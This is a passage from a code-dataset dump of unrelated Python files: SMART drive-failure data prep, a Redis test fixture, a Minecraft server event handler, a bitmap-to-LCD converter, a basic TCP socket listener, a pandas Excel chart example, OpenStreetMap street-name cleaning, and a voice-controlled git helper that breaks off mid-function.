'smart_188_raw','smart_196_raw','smart_197_raw','smart_198_raw',\n 'smart_201_raw']\n\ndef calc_weeks_to_failure(s):\n s = s.reset_index(drop=True)\n one = s[s.eq(1)]\n if one.empty:\n return -1\n else:\n return (-s.index + one.index[0]) // 7\n\n\ndef get_data(filename=DATASET_FILENAME):\n df = pd.read_csv(filename,parse_dates=['date'])\n print('read data, processing...')\n\n #adding manufacturer info to data\n conditions = [df['model'].str[:2] == mfr for mfr in sorted(MANUFACTURERS.keys())]\n outputs = [MANUFACTURERS[key] for key in sorted(MANUFACTURERS.keys())]\n res = np.select(conditions,outputs,'unknown')\n df['manufacturer'] = pd.Series(res)\n\n #showing summed failures by manufacturer\n grouped = df.groupby(['manufacturer'])#,'serial_number'])\n print(grouped.failure.sum())\n\n df = pd.DataFrame(grouped.get_group('Seagate'))\n\n #adding failure information per serial number\n df['week_to_failure'] = df.groupby('serial_number').failure.transform(calc_weeks_to_failure)\n df = df[df['week_to_failure'] <= 0]\n\n\n reduced_df = df[['week_to_failure','model'] + KNOWN_INDICATIVE_COLUMNS]\n reduced_df = reduced_df.fillna(-0.5) # give numeric value to NaN\n\n return reduced_df\n\ndef preprocess_data(df):\n print('feature encoding')\n features = ['model']\n for feature in features:\n le = preprocessing.LabelEncoder()\n le = le.fit(df[feature])\n df[feature] = le.transform(df[feature])\n\n enc = preprocessing.OneHotEncoder(categories='auto',sparse=False)\n weeks_to_failure = np.array(df['week_to_failure']).reshape(-1,1)\n weeks_to_failure = enc.fit_transform(np.array(weeks_to_failure))\n\n scaler = preprocessing.MinMaxScaler()\n columns = KNOWN_INDICATIVE_COLUMNS[:]\n columns.remove('smart_188_raw')\n scaler.fit(df[columns])\n df[columns] = scaler.transform(df[columns])\n\n X_train, X_test, y_train, y_test = train_test_split(df.drop(['week_to_failure'],axis=1), weeks_to_failure, test_size=0.2)\n return X_train, X_test, y_train, y_test, enc\n\ndef to_tensor(data):\n return torch.Tensor(np.array(pd.DataFrame(data)))\n\nif __name__ == \"__main__\":\n get_data()\n\n'''\nNotes:\n\nsmart_1 Read Error Rate (want low)\nsmart_2 Throughput performance (want high)\nsmart_3 Spin up time (want low)\nsmart_4 Start-stop count\n! smart_5 Reallocated sectors count (want low)\nsmart_7 Seek error rate (vendor specific, value not comparable between vendors)\nsmart_8 Seek time performance (want high)\nsmart_9 Power on hours\n! smart_10 Spin retry count (want low)\nsmart_11 Recalibration retries (want low)\nsmart_12 Power cycle count\nsmart_13 Soft read error rate (uncorrected read errors, want low)\nsmart_15 unknown\nsmart_22 Current helium level (want high)\nsmart_183 SATA downshift error rate (want low)\n! smart_184 End-to-end error (want low)\n! smart_187 Count of errors that couldn't be recovered (want low)\n! smart_188 Command timeout (aborted operations due to timeout) (should be zero)\nsmart_189 High fly writes (want low)\nsmart_190 Temp diff (100 minus temperature in celsius)\nsmart_191 G sense error rate (errors from external shock) (want low)\nsmart_192 Emergency retract cycle count (want low)\nsmart_193 Load cycle count (want low)\nsmart_194 Temperature (want low)\nsmart_195 Hardware ECC recovered (vendor specific)\n! smart_196 Reallocation event count (want low)\n! smart_197 Current pending sector count (want low)\n! smart_198 Uncorrectable sector count (want low)\nsmart_199 UltraDMA CRC error count (want low)\nsmart_200 Multi-zone error rate (want low)\n! smart_201 Soft read error rate (want low)\nsmart_220 Disk shift (want low)\nsmart_222 Loaded hours (time spent under load)\nsmart_223 Load/unload retry count\nsmart_224 Load friction (want low)\nsmart_225 Load/unload cycles (want low)\nsmart_226 Load in time\nsmart_240 Head flying hours\nsmart_241 Total LBAs written\nsmart_242 Total LBAs read\nsmart_250 Read error retry rate (want low)\nsmart_251 Minimum spares remaining\nsmart_252 Newly added bad flask block\nsmart_254 Free fall events (want low)\nsmart_255 unknown\n\n'''","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"178759614","text":"from contextlib import contextmanager # noqa\n\nimport redis\n\nimport pytest\n\nfrom bluesky.tests.conftest import RE # noqa\nfrom bluesky_kafka import BlueskyConsumer # noqa\nfrom bluesky_kafka.tests.conftest import ( # noqa\n pytest_addoption,\n kafka_bootstrap_servers,\n broker_authorization_config,\n consume_documents_from_kafka_until_first_stop_document,\n temporary_topics,\n)\nfrom ophyd.tests.conftest import hw # noqa\n\nfrom nslsii.md_dict import RunEngineRedisDict\n\n\n@pytest.fixture\ndef redis_dict_factory():\n \"\"\"\n Return a \"fixture as a factory\" that will build identical RunEngineRedisDicts.\n Before the factory is returned, the Redis server will be cleared.\n\n The factory builds only RunEngineRedisDict instances for a Redis server running\n on localhost:6379, db=0.\n\n If \"host\", \"port\", or \"db\" are specified as kwargs to the factory function\n an exception will be raised.\n \"\"\"\n redis_server_kwargs = {\n \"host\": \"localhost\",\n \"port\": 6379,\n \"db\": 0,\n }\n\n redis_client = redis.Redis(**redis_server_kwargs)\n redis_client.flushdb()\n\n def _factory(**kwargs):\n disallowed_kwargs_preset = set(redis_server_kwargs.keys()).intersection(\n kwargs.keys()\n )\n if len(disallowed_kwargs_preset) > 0:\n raise KeyError(\n f\"{disallowed_kwargs_preset} given, but 'host', 'port', and 'db' may not be specified\"\n )\n else:\n kwargs.update(redis_server_kwargs)\n\n return RunEngineRedisDict(**kwargs)\n\n return _factory\n","sub_path":"nslsii/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"587440420","text":"# Future patches\nfrom __future__ import annotations\n\n# Stdlib\nimport random\nfrom typing import TYPE_CHECKING\n\n# External Libraries\nimport anyio\n\n# MCServer\nfrom mcserver.classes.player import Player\nfrom mcserver.objects.packet_handler import PacketHandler\nfrom mcserver.objects.player_registry import PlayerRegistry\nfrom mcserver.utils.logger import error\n\nif TYPE_CHECKING:\n from typing import Tuple, Any\n from mcserver.classes.client_message import ClientMessage\n\n\ndef _remap_name(name: str) -> str:\n if name in (\"handshake\", \"status_request\", \"status_ping\", \"login_start\", \"keep_alive\"):\n # Don't pass these to events\n return \"\"\n if name == \"login_encryption_response\":\n return \"player_join\"\n return name\n\n\nclass EventHandler:\n @classmethod\n def handle_event(cls, msg: ClientMessage, args: Tuple[Any]):\n event = _remap_name(msg.name)\n if event:\n func = getattr(cls, \"event_\" + event,\n lambda *_: error(f\"Unhandled event: {event}\"))\n if args:\n if not isinstance(args, tuple):\n args = (args, )\n return func(msg, *args)\n return func(msg)\n return None\n\n @classmethod\n async def event_chat_message(cls, msg: ClientMessage, message: str):\n for player in PlayerRegistry.players:\n await PacketHandler.encode_chat_message(msg, player, f\"<{msg.conn.player.display_name}> {message}\")\n\n @classmethod\n async def event_player_join(cls, msg: ClientMessage, player: Player):\n for _player in PlayerRegistry.players:\n # PacketHandler.encode_player_info(msg, player, _player, 0)\n await PacketHandler.encode_chat_message(msg, _player, f\"\\u00a7e{player.display_name} has joined.\")\n\n await PacketHandler.encode_player_join(msg, player)\n await PacketHandler.encode_player_spawn_pos(msg, player)\n await PacketHandler.encode_player_position_look(msg, player)\n await PacketHandler.encode_player_spawn(msg, player, player)\n while msg.conn.do_loop:\n val = random.randint(0, 2**20)\n msg.send_packet(\n \"keep_alive\",\n msg.buffer_type.pack_varint(val) if msg.protocol_version <= 338 else msg.buffer_type.pack(\"Q\", val)\n )\n keep_alive_packet = await msg.conn.wait_for_packet(\"keep_alive\")\n\n # 1.7.x\n if msg.protocol_version <= 338:\n verify = keep_alive_packet.unpack_varint()\n else:\n verify = keep_alive_packet.unpack(\"Q\")\n\n if val != verify:\n msg.close_connection(\"Invalid KeepAlive packet!\")\n return\n\n await anyio.sleep(1)\n","sub_path":"mcserver/objects/event_handler.py","file_name":"event_handler.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"158762071","text":"#!/bin/python3\n\n# The MIT License (MIT)\n#\n# Copyright (c) 2015 Gustav Näslund\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\nimport sys, os, argparse\n\ndef lsb_to_int(b_a):\n return b_a[0] + 256*b_a[1] + 256*256*b_a[2] + 256*256*256*b_a[3]\n\ndef convert_bmp(infile):\n with open(infile, \"rb\") as f2:\n bitmap = list(f2.read())\n\n header = bitmap[:2]\n size = lsb_to_int(bitmap[2:6])\n offset = lsb_to_int(bitmap[10:14])\n width = lsb_to_int(bitmap[18:22])\n height = lsb_to_int(bitmap[22:26])\n data = [255-x for x in bitmap[offset:][::-1]]\n\n if int(width/8)%4:\n padding = 4 - int(width/8)%4\n else:\n padding = 0\n\n f.write(\"/* header: \" + str([chr(x) for x in header]) + \" */\\n\")\n f.write(\"/* size: \" + str(size) + \" B */\\n\")\n f.write(\"/* offset: \" + str(offset) + \" B */\\n\")\n f.write(\"/* width: \" + str(width) + \" px */\\n\")\n f.write(\"/* height: \" + str(height) + \" px */\\n\")\n f.write(\"/* padding: \" + str(padding) + \" B */\\n\")\n\n all_padded_bytes = []\n # Range of padded bytes per row\n for p in range(int(width/8), int(width/8)+padding):\n all_padded_bytes += list(range(p, len(data), 8))\n\n if args.remove_padding:\n for index in sorted(all_padded_bytes, reverse=True):\n del data[index]\n\n for i, value in enumerate(data[::-1]):\n if i%16 == 0:\n f.write(\"\\n\")\n f.write(hex(value)+\",\")\n\nparser = argparse.ArgumentParser(description='Convert monochrome bitmaps into arrays suitable for viewing with a T6963C-compatible LCD-controller.')\nparser.add_argument('input', help='an input for the script, either a file or a folder')\nparser.add_argument('--remove-padding', action='store_true', help='Remove the padding bytes from the bitmap rows.')\nargs = parser.parse_args()\n\nif os.path.isdir(args.input):\n infiles = [os.path.join(args.input, f) for f in sorted(os.listdir(args.input)) if f.endswith('.bmp')]\n outfile = \"all_files-\" + args.input.replace('/', '-') + \".txt\"\nelif os.path.isfile(args.input):\n infiles = [args.input]\n outfile = args.input.replace('/', '-') + \".txt\"\n\nwith open(outfile, \"w\") as f:\n for infile in infiles:\n f.write(\"/* \" + infile + \" */\\n\")\n convert_bmp(infile)\n f.write(\"\\n\\n\")\n","sub_path":"bitmap-to-lcd.py","file_name":"bitmap-to-lcd.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"560935499","text":"import socket\n\nsize = 512\nhost = \"\"\nport = 9898\n\n# family = Internet, type = stream, socket means TCP\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n# Have a socket, need to bind to an IP address and port\n# to have a place to listen on\nsock.bind((host, port))\nsock.listen(5)\n\n# Can store info about other end once we accept the connection attempt\nc, addr = sock.accept()\ndata = c.recv(size)\nif data:\n print(\"Connection from: \",addr[0])\n print(\"Data: \", data.decode(\"utf-8\"))\nsock.close()\n","sub_path":"MasteringPythonNetSec/Networking/network_server.py","file_name":"network_server.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"279046094","text":"##############################################################################\n#\n# An example of creating a chart with Pandas and XlsxWriter.\n#\n# Copyright 2013, John McNamara, jmcnamara@cpan.org\n#\n\nimport pandas as pd\nfrom vincent.colors import brews\n\n# Some sample data to plot.\nfarm_1 = {'apples': 10, 'berries': 32, 'squash': 21, 'melons': 13, 'corn': 18}\nfarm_2 = {'apples': 15, 'berries': 43, 'squash': 17, 'melons': 10, 'corn': 22}\nfarm_3 = {'apples': 6, 'berries': 24, 'squash': 22, 'melons': 16, 'corn': 30}\nfarm_4 = {'apples': 12, 'berries': 30, 'squash': 15, 'melons': 9, 'corn': 15}\n\ndata = [farm_1, farm_2, farm_3, farm_4]\nindex = ['Farm 1', 'Farm 2', 'Farm 3', 'Farm 4']\n\n# Create a Pandas dataframe from the data.\ndf = pd.DataFrame(data, index=index)\n\n# Create a Pandas Excel writer using XlsxWriter as the engine.\nexcel_file = 'grouped_column_farms.xlsx'\nsheet_name = 'Sheet1'\n\nwriter = pd.ExcelWriter(excel_file, engine='xlsxwriter')\ndf.to_excel(writer, sheet_name=sheet_name)\n\n# Access the XlsxWriter workbook and worksheet objects from the dataframe.\nworkbook = writer.book\nworksheet = writer.sheets[sheet_name]\n\n# Create a chart object.\nchart = workbook.add_chart({'type': 'column'})\n\n# Configure the series of the chart from the dataframe data.\nfor col_num in range(1, len(farm_1) + 1):\n chart.add_series({\n 'name': ['Sheet1', 0, col_num],\n 'categories': ['Sheet1', 1, 0, 4, 0],\n 'values': ['Sheet1', 1, col_num, 4, col_num],\n 'fill': {'color': brews['Set1'][col_num - 1]},\n 'overlap':-10,\n })\n\n# Configure the chart axes.\nchart.set_x_axis({'name': 'Total Produce'})\nchart.set_y_axis({'name': 'Farms', 'major_gridlines': {'visible': False}})\n\n# Insert the chart into the worksheet.\nworksheet.insert_chart('H2', chart)\n\n# Close the Pandas Excel writer and output the Excel file.\nwriter.save()\n","sub_path":"examples/chart_grouped_column_farms.py","file_name":"chart_grouped_column_farms.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566153729","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nAfter auditing is complete the next step is to prepare the data to be inserted into a SQL database.\nTo do so you will parse the elements in the OSM XML file, transforming them from document format to\ntabular format, thus making it possible to write to .csv files. These csv files can then easily be\nimported to a SQL database as tables.\n\nThe process for this transformation is as follows:\n- Use iterparse to iteratively step through each top level element in the XML\n- Shape each element into several data structures using a custom function\n- Utilize a schema and validation library to ensure the transformed data is in the correct format\n- Write each data structure to the appropriate .csv files\n\nWe've already provided the code needed to load the data, perform iterative parsing and write the\noutput to csv files. Your task is to complete the shape_element function that will transform each\nelement into the correct format. To make this process easier we've already defined a schema (see\nthe schema.py file in the last code tab) for the .csv files and the eventual tables. Using the\ncerberus library we can validate the output against this schema to ensure it is correct.\n\n## Shape Element Function\nThe function should take as input an iterparse Element object and return a dictionary.\n\n### If the element top level tag is \"node\":\nThe dictionary returned should have the format {\"node\": .., \"node_tags\": ...}\n\nThe \"node\" field should hold a dictionary of the following top level node attributes:\n- id\n- user\n- uid\n- version\n- lat\n- lon\n- timestamp\n- changeset\nAll other attributes can be ignored\n\nThe \"node_tags\" field should hold a list of dictionaries, one per secondary tag. Secondary tags are\nchild tags of node which have the tag name/type: \"tag\". Each dictionary should have the following\nfields from the secondary tag attributes:\n- id: the top level node id attribute value\n- key: the full tag \"k\" attribute value if no colon is present or the characters after the colon if one is.\n- value: the tag \"v\" attribute value\n- type: either the characters before the colon in the tag \"k\" value or \"regular\" if a colon\n is not present.\n\nAdditionally,\n\n- if the tag \"k\" value contains problematic characters, the tag should be ignored\n- if the tag \"k\" value contains a \":\" the characters before the \":\" should be set as the tag type\n and characters after the \":\" should be set as the tag key\n- if there are additional \":\" in the \"k\" value they and they should be ignored and kept as part of\n the tag key. For example:\n\n \n should be turned into\n {'id': 12345, 'key': 'street:name', 'value': 'Lincoln', 'type': 'addr'}\n\n- If a node has no secondary tags then the \"node_tags\" field should just contain an empty list.\n\nThe final return value for a \"node\" element should look something like:\n\n{'node': {'id': 757860928,\n 'user': 'uboot',\n 'uid': 26299,\n 'version': '2',\n 'lat': 41.9747374,\n 'lon': -87.6920102,\n 'timestamp': '2010-07-22T16:16:51Z',\n 'changeset': 5288876},\n 'node_tags': [{'id': 757860928,\n 'key': 'amenity',\n 'value': 'fast_food',\n 'type': 'regular'},\n {'id': 757860928,\n 'key': 'cuisine',\n 'value': 'sausage',\n 'type': 'regular'},\n {'id': 757860928,\n 'key': 'name',\n 'value': \"Shelly's Tasty Freeze\",\n 'type': 'regular'}]}\n\n### If the element top level tag is \"way\":\nThe dictionary should have the format {\"way\": ..., \"way_tags\": ..., \"way_nodes\": ...}\n\nThe \"way\" field should hold a dictionary of the following top level way attributes:\n- id\n- user\n- uid\n- version\n- timestamp\n- changeset\n\nAll other attributes can be ignored\n\nThe \"way_tags\" field should again hold a list of dictionaries, following the exact same rules as\nfor \"node_tags\".\n\nAdditionally, the dictionary should have a field \"way_nodes\". \"way_nodes\" should hold a list of\ndictionaries, one for each nd child tag. Each dictionary should have the fields:\n- id: the top level element (way) id\n- node_id: the ref attribute value of the nd tag\n- position: the index starting at 0 of the nd tag i.e. what order the nd tag appears within\n the way element\n\nThe final return value for a \"way\" element should look something like:\n\n{'way': {'id': 209809850,\n 'user': 'chicago-buildings',\n 'uid': 674454,\n 'version': '1',\n 'timestamp': '2013-03-13T15:58:04Z',\n 'changeset': 15353317},\n 'way_nodes': [{'id': 209809850, 'node_id': 2199822281, 'position': 0},\n {'id': 209809850, 'node_id': 2199822390, 'position': 1},\n {'id': 209809850, 'node_id': 2199822392, 'position': 2},\n {'id': 209809850, 'node_id': 2199822369, 'position': 3},\n {'id': 209809850, 'node_id': 2199822370, 'position': 4},\n {'id': 209809850, 'node_id': 2199822284, 'position': 5},\n {'id': 209809850, 'node_id': 2199822281, 'position': 6}],\n 'way_tags': [{'id': 209809850,\n 'key': 'housenumber',\n 'type': 'addr',\n 'value': '1412'},\n {'id': 209809850,\n 'key': 'street',\n 'type': 'addr',\n 'value': 'West Lexington St.'},\n {'id': 209809850,\n 'key': 'street:name',\n 'type': 'addr',\n 'value': 'Lexington'},\n {'id': '209809850',\n 'key': 'street:prefix',\n 'type': 'addr',\n 'value': 'West'},\n {'id': 209809850,\n 'key': 'street:type',\n 'type': 'addr',\n 'value': 'Street'},\n {'id': 209809850,\n 'key': 'building',\n 'type': 'regular',\n 'value': 'yes'},\n {'id': 209809850,\n 'key': 'levels',\n 'type': 'building',\n 'value': '1'},\n {'id': 209809850,\n 'key': 'building_id',\n 'type': 'chicago',\n 'value': '366409'}]}\n\"\"\"\n\nimport csv\nimport pprint\nimport re\n\nimport xml.etree.cElementTree as ET\n\n# for schema validation\nimport cerberus\nimport schema\n\nOSM_PATH = \"downloaded_maps/new_orleans_city.osm\"\n\nNODES_PATH = \"nodes.csv\"\nNODE_TAGS_PATH = \"nodes_tags.csv\"\nWAYS_PATH = \"ways.csv\"\nWAY_NODES_PATH = \"ways_nodes.csv\"\nWAY_TAGS_PATH = \"ways_tags.csv\"\n\nLOWER_COLON = re.compile(r'^([a-z]|_)+:([a-z]|_)+')\nPROBLEMCHARS = re.compile(r'[=\\+/&<>;\\'\"\\?%#$@\\,\\. \\t\\r\\n]')\n\nSCHEMA = schema.schema\n\n# Make sure the fields order in the csvs matches the column order in the sql table schema\nNODE_FIELDS = ['id', 'lat', 'lon', 'user', 'uid', 'version', 'changeset', 'timestamp']\nNODE_TAGS_FIELDS = ['id', 'key', 'value', 'type']\nWAY_FIELDS = ['id', 'user', 'uid', 'version', 'changeset', 'timestamp']\nWAY_TAGS_FIELDS = ['id', 'key', 'value', 'type']\nWAY_NODES_FIELDS = ['id', 'node_id', 'position']\n\nexpected = [\"Street\",\n \"Avenue\",\n \"Court\",\n \"Drive\",\n \"Road\",\n \"Boulevard\",\n \"Place\",\n \"Lane\",\n \"Circle\",\n \"Cove\",\n \"Arcade\",\n \"Way\",\n \"Walk\",\n \"Highway\",\n \"Parkway\",\n \"Alley\",\n \"Plaza\",\n \"Trace\"]\n\n\nto_fix = {\"St\": \"Street\",\n \"St.\": \"Street\",\n \"Ave\": \"Avenue\",\n \"Pkwy\": \"Parkway\",\n \"Hwy\": \"Highway\",\n \"Blvd\": \"Boulevard\",\n \"Dr\": \"Drive\",\n \"Ave.\": \"Avenue\",\n \"Pky\": \"Parkway\"}\n\nfullname_mapping = {\"Banks\": \"Banks Street\",\n \"Regent Street #C\": \"Regent Street\",\n \"Dumaine\": \"Dumaine Street\",\n \"Magazine Street;Magazine St\": \"Magazine Street\",\n \"Magazine\": \"Magazine Street\",\n \"Rosa PARK\": \"Rosa Park\",\n \"Severn\": \"Severn Avenue\",\n \"St. Peter\": \"Saint Peter Street\",\n \"3157 Gentilly Blvd #2019\": \"Gentilly Boulevard\",\n \"Marais\": \"Marais Street\",\n \"Royal\": \"Royal Street\",\n \"Canal Street at Bourbon\": \"Canal Street\",\n \"General Taylor\": \"General Taylor Street\",\n \"Gretna Blvd Ste A\": \"Gretna Boulevard\",\n \"Manhattan Boulevard Building\": \"Manhattan Boulevard\",\n \"Saint Charles Avenue, Suite 114-351\": \"Saint Charles Avenue\",\n \"1227 Tulane Ave\": \"Tulane Avenue\",\n \"621 Canal Street\": \"Canal Street\",\n \"Westgrove PARK\": \"Westgrove Park\",\n \"George 'Nick' Connor Drive\": \"George Nick Connor Drive\",\n \"Bal of Square\": \"Banks Street\",\n }\n\ndef is_street_name(tag_key):\n \"\"\"\n untility method to identify street addresses\n \"\"\"\n return (tag_key == \"addr:street\")\n\nstreet_type_re = re.compile(r'(.*) (\\b\\S+\\.?)$', re.IGNORECASE)\ndef fix_street_name(value):\n \"\"\"\n Normalize street names so they are more consistent\n \"\"\"\n\n # trim any leading and trailing whitespace\n value = value.strip()\n\n # patch full items that are borked\n value = fullname_mapping.get(value, value)\n\n # match against street regex\n match = street_type_re.match(value)\n if match:\n #continue\n first_path = match.group(1)\n street_type = match.group(2)\n street_type = to_fix.get(street_type, street_type)\n\n value = \"{} {}\".format(first_path, street_type)\n\n beginnings = {'N ': 'North',\n 'S ': 'South',\n 'E ': 'East',\n 'W ': 'West',\n 'St ': 'Saint',\n 'St. ': 'Saint'}\n for k, v in beginnings.items():\n start_string = \"{} \".format(k)\n if value.startswith(k):\n value = value.replace(k, v, 1)\n\n # any St or St. that still remain are 'Saint'\n value.replace('St ', 'Saint ')\n value.replace('St. ', 'Saint ')\n\n return value\n\n\n\nlower = re.compile(r'^([a-z]|_)*$')\nlower_colon = re.compile(r'^([a-z]|_)*:([a-z]|_)*$')\nproblemchars = re.compile(r'[=\\+/&<>;\\'\"\\?%#$@\\,\\. \\t\\r\\n]')\n\ndef get_key_parts(full_key):\n \"\"\"\n for keys with ':', returns first part and then everything else\n for keys without ':', returns 'regular' and then the full_key\n \"\"\"\n colon_pos = full_key.find(':')\n\n base_type = 'regular'\n key = full_key\n\n if colon_pos >= 0:\n base_type = full_key[:colon_pos]\n key = full_key[colon_pos + 1:]\n\n return (base_type, key)\n\ndef shape_element(element,\n node_attr_fields=NODE_FIELDS,\n way_attr_fields=WAY_FIELDS,\n problem_chars=PROBLEMCHARS,\n default_tag_type='regular'):\n \"\"\"\n Clean and shape node or way XML element to Python dict\n \"\"\"\n\n # child elements are processed the same for both and elements\n #\n tags = []\n if element.tag in ('node', 'way'):\n # process the / elements\n #\n for tag in element.iter(\"tag\"):\n\n # Force key to lowercase\n full_key = tag.attrib['k'].lower()\n value = tag.attrib['v']\n\n if is_street_name(full_key):\n value = fix_street_name(value)\n\n base_type, key = get_key_parts(full_key)\n\n tag_dict = {\n 'id': element.attrib.get('id'),\n 'key': key,\n 'type': base_type,\n 'value': value,\n }\n tags.append(tag_dict)\n\n if element.tag == 'node':\n\n # Process the attributes in the element\n #\n node_attribs = {}\n for attribute in ['id', 'lat', 'lon', 'user', 'uid', 'version', 'changeset', 'timestamp']:\n node_attribs[attribute] = element.attrib.get(attribute)\n\n return {'node': node_attribs, 'node_tags': tags}\n\n elif element.tag == 'way':\n\n # Process the attributes in the element\n #\n way_attribs = {}\n for attribute in ['id', 'user', 'uid', 'version', 'changeset', 'timestamp']:\n way_attribs[attribute] = element.attrib.get(attribute)\n\n # Process the elements\n #\n way_nodes = []\n position = 0\n for nd in element.iter(\"nd\"):\n node_dict = {\n 'id': element.attrib.get('id'),\n 'node_id': nd.attrib.get('ref'),\n 'position': position,\n }\n position += 1\n way_nodes.append(node_dict)\n\n return {'way': way_attribs, 'way_nodes': way_nodes, 'way_tags': tags}\n\n\n# ================================================== #\n# Helper Functions #\n# ================================================== #\ndef get_element(osm_file, tags=('node', 'way', 'relation')):\n \"\"\"\n Yield element if it is the right type of tag\n \"\"\"\n\n context = ET.iterparse(osm_file, events=('start', 'end'))\n _, root = next(context)\n for event, elem in context:\n if event == 'end' and elem.tag in tags:\n yield elem\n root.clear()\n\n\ndef validate_element(element, validator, schema=SCHEMA):\n \"\"\"\n Raise ValidationError if element does not match schema\n \"\"\"\n if validator.validate(element, schema) is not True:\n field, errors = next(validator.errors.items())\n message_string = \"\\nElement of type '{0}' has the following errors:\\n{1}\"\n error_string = pprint.pformat(errors)\n raise Exception(message_string.format(field, error_string))\n\n\n# ================================================== #\n# Main Function #\n# ================================================== #\n\ndef process_map(file_in, validate):\n \"\"\"\n Iteratively process each XML element and write to csv(s\n \"\"\"\n from street_map_csv_writer import StreetMapCsvWriter\n\n writer = StreetMapCsvWriter(add_csv_headers=False,\n output_directory='generated_data')\n\n validator = cerberus.Validator()\n\n for element in get_element(file_in, tags=('node', 'way')):\n el = shape_element(element)\n if el:\n if validate is True:\n validate_element(el, validator)\n\n if element.tag == 'node':\n writer.add_node(el['node'])\n writer.add_node_tags(el['node_tags'])\n elif element.tag == 'way':\n writer.add_way(el['way'])\n writer.add_way_nodes(el['way_nodes'])\n writer.add_way_tags(el['way_tags'])\n\nif __name__ == '__main__':\n # Note: Validation is ~ 10X slower. For the project consider using a small\n # sample of the map when validating.\n process_map(OSM_PATH, validate=False)\n\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":15103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"262605289","text":"import subprocess as sp\nimport speech_recognition as sr\nimport pyttsx3\nfrom win32com.client import Dispatch\nimport os\nimport pyaudio\n\n\n\n\n\n\ndef main():\n speak = Dispatch(\"SAPI.SpVoice\").Speak\n speak(\"Hello user welcome to the git tool by Mubin ggiraach\")\n \n rec = sr.Recognizer()\n with sr.Microphone() as source:\n speak(\"Tell me what can i do for you\")\n user1=rec.listen(source)\n speak(\"Ok wait\")\n\n user1i=rec.recognize_google(user1)\n print(user1i)\n\n if (\"create\" or \"initialise\" in user1i) :\n init()\n \n elif (\"clone\" or \"download\" in user1i):\n cln()\n\n elif (\"add\" or \"upload\" in user1i):\n addfls()\n \n elif (\"restore\" in user1i):\n restore()\n\n elif(\"upload large file\" in user1i):\n lfs()\n \n elif (\"scratch\" or \"start\" in user1i):\n repo()\n\n\n\n \ndef init(): \n speak(\"where u want to initialize\")\n with sr.Microphone() as source3:\n user3=rec.listen(source3)\n speak(\"Ok wait\")\n user3i=rec.recognize_google(user3)\n print(user3i)\n \n if (\"here\" in user3i or \"current\"in user3i):\n sp.run(\"git init\")\n \n elif (\"other\" or \"another\" in user3i):\n speak(\"Please enter the directory where you want to intialise a repository\")\n rmtd=input(\"Enter the directory path: \")\n initr=\"git init\"+\" \"+rmtd\n sp.run(initr)\n \n else:\n speak(\"Please follow proper instructions\")\n\n \n\n\ndef restore():\n speak(\"Please make sure that the file you want to restore was been tracked by git before it got deleted\")\n speak(\"Please tell me which file you want to restore\")\n rstr=input(\"Enter the filename: \")\n restr=\"git restore\"+\" \"+rstr\n sp.run(restr)\n\n\n\ndef lfs():\n speak(\"Ok so you are having a large file no problem i have got a solution for it\")\n sp.run(\"git install lfs\")\n speak(\"Now let us track the file you want upload\")\n speak(\"If you want to add all files with a certain extension we can do that or we can simply add one file\")\n trk=input(\"Enter the directory you want to track: \")\n track=\"git track\"+\" \"+trk\n sp.run(track)\n speak(\"Now let us add that large file\")\n lf=input(\"name of large file: \")\n addlf=\"git add\"+\" \"+lf\n sp.run(addlf)\n commit()\n push()\n\n\n\ndef repo():\n speak(\"Ok great seems so you have created a brand new repository let me help you\")\n speak(\"Please tell me where is your code so I can initialise a reposiroty there \")\n code = input(\"Enter the directory: \")\n create= \"git init\"+\" \"+code\n sp.run(create)\n speak(\"Respository initialised lets add files now \")\n speak(\"Which files you want to add\")\n print(\"For Multiple files give the name of files as file1.txt file2.py file3.png \")\n print(\"For adding all the files in the directory just give a character . in the input\")\n files=input(\"Enter the file name: \")\n addfiles=\"git add\"+\" \"+files\n sp.run(addfiles)\n commit()\n sp.run(\"git branch -M main\")\n speak(\"Please enter your repository u r l where you want to upload these files\")\n url=input(\"Enter the repository url: \")\n rmto=\"git remote add origin\"+\" \"+url\n sp.run(rmto)\n sp.run(\"git push -u origin main\")\n speak(\"hey user you are good to go all files are uploaded\")\n\ndef commit():\n speak(\"Now as we have added the files let's commit them please say what should be the commit message\")\n with sr.Microphone() as source3:\n usercmt=rec.listen(source3)\n userc=rec.recognize_google(usercmt)\n print(userc)\n cmtmsg=\"git commit -m\"+\" '\"+usercmt+\"'\"\n\n\ndef cln():\n speak(\"please write the username followed by the repository name which you want to clone\")\n print(\"example- th3gentleman-MubinGirach/test\")\n user2=input(\"Enter the username/repositoryname: \")\n clone=\"git clone https://github.com/\"+user2\n sp.run(clone)\n speak(\"Successfully cloned\")\n\ndef addfls():\n with sr.Microphone() as source1:\n speak(\"Which file you want to add\")\n user2=rec.listen(source1)\n speak(\"Ok wait\")\n user2i=rec.recognize_google(user2)\n print(user2i)\n if (\"all\" in user2i):\n sp.run(\"git init\")\n sp.run(\"git add .\")\n else:\n speak(\"Please write the name of files in the below prompt\")\n print(\"Example file1.txt file2.py \")\n file=input(\"Enter the file names with extensions: \")\n add=\"git add\"+file\n sp.run(add)\n\ndef push():\n speak(\"Now we need to 